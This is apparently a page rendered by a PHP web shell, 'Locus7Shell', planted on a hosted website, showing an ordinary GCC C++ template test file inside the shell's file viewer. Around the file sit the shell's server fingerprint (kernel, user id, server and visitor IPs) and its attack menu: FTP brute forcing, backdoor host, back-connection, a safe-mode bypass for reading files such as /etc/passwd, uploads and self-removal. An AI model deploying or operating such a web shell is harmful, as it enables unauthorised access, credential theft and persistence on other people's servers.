Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp0x/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     variadic-alias2.C (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/91966
// { dg-do compile { target c++11 } }

// Reduced to this include-free example. Further reduction is hard: Either
// the bug(?) disappears, or the program becomes meaningless.

template<class...>
struct list {};

struct nil;

////////////////////////////////////////////////////////////////////////////////

template<int n>
struct number {
  constexpr /*implicit*/ operator int() const { return n; }
  using type = number<n>;
};

using false_ = number<0>;
using true_ = number<1>;

static_assert(!false_{}, "");
static_assert(true_{}, "");

template<int... ns> using numbers = list<number<ns>...>;

////////////////////////////////////////////////////////////////////////////////

template<class lhs, class rhs>
struct less_impl;

template<int lhs, int rhs>
struct less_impl<number<lhs>, number<rhs>>
  : number<(lhs < rhs)> {};

template<class lhs, class rhs> using less = typename less_impl<lhs, rhs>::type;

////////////////////////////////////////////////////////////////////////////////

template<class v0, class... vs>
struct sum_impl {
  static_assert(sizeof...(vs) == 0, "see specialization");
  using type = v0;
};

template<int v0, int v1, class... vs>
struct sum_impl<number<v0>, number<v1>, vs...>
  : sum_impl<number<v0 + v1>, vs...> {};

template<class... nums> using sum = typename sum_impl<nums...>::type;

////////////////////////////////////////////////////////////////////////////////

template<class num>
struct conditional_impl {
  static_assert(num{}, "see specialization");

  template<class T, class F>
  using type = T;
};

template<>
struct conditional_impl<false_> {
  template<class T, class F>
  using type = F;
};

template<class num, class T, class F>
using conditional = typename conditional_impl<num>::template type<T, F>;

////////////////////////////////////////////////////////////////////////////////

template<class seq>
struct min_filter_impl;

template<class... nums>
struct min_filter_impl<list<nums...>> {
  template<class num>
  using count_better_mins = sum<less<nums, num>...>;

  using type = list<conditional<count_better_mins<nums>, nil, nums>...>;

//using debug = list<conditional<count_better_mins<nums>, nil, void>...>;

// error: expansion pattern 'conditional<typename sum_impl<less<nums, nums>...>::type, nil, void>' contains no parameter packs

};

template<class seq> using min_filter = typename min_filter_impl<seq>::type;

////////////////////////////////////////////////////////////////////////////////

void test_min_filter() {
  using computed = min_filter<numbers<2, 7, 2>>;
  using expected = list<number<2>, nil, number<2>>;
  (void)(computed{} = expected{});// compiles for identical types

// error: no match for 'operator=' (operand types are 'computed' {aka 'list<number<2>, number<7>, number<2> >'} and 'expected' {aka 'list<number<2>, nil, number<2> >'})

}

int main() {}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0088 ]--